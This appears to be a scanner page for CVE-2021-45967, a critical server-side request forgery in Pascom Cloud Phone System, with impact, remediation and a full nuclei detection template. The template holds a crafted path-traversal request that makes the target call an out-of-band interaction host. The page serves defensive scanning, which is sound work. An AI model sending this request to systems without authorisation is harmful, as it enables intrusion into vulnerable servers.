Pascom CPS Server-Side Request Forgery

criticalseverity

9.8CVSS score

20.8%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Pascom versions before 7.20 packaged with Cloud Phone System contain a known server-side request forgery vulnerability.

Impact

The vulnerability can result in unauthorized access to sensitive data or systems, potentially leading to further exploitation or compromise.

Fix

Apply the latest security patches or updates provided by Pascom to fix the Server-Side Request Forgery vulnerability (CVE-2021-45967).

How to confirm it

Send: GET {{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND status 200

Run it with nuclei: nuclei -id CVE-2021-45967 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-45967

info:
  name: Pascom CPS Server-Side Request Forgery
  author: dwisiswant0
  severity: critical
  description: Pascom versions before 7.20 packaged with Cloud Phone System contain a known server-side request forgery vulnerability.
  impact: |
    The vulnerability can result in unauthorized access to sensitive data or systems, potentially leading to further exploitation or compromise.
  remediation: |
    Apply the latest security patches or updates provided by Pascom to fix the Server-Side Request Forgery vulnerability (CVE-2021-45967).
  reference:
    - https://kerbit.io/research/read/blog/4
    - https://www.pascom.net/doc/en/release-notes/
    - https://tutorialboy24.blogspot.com/2022/03/the-story-of-3-bugs-that-lead-to.html
    - https://www.pascom.net/doc/en/release-notes/pascom19/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-45967
    cwe-id: CWE-22
    epss-score: 0.208
    epss-percentile: 0.97564
    cpe: cpe:2.3:a:pascom:cloud_phone_system:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: pascom
    product: cloud_phone_system
  tags: cve,cve2021,pascom,ssrf,pascom_cloud_phone_system,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from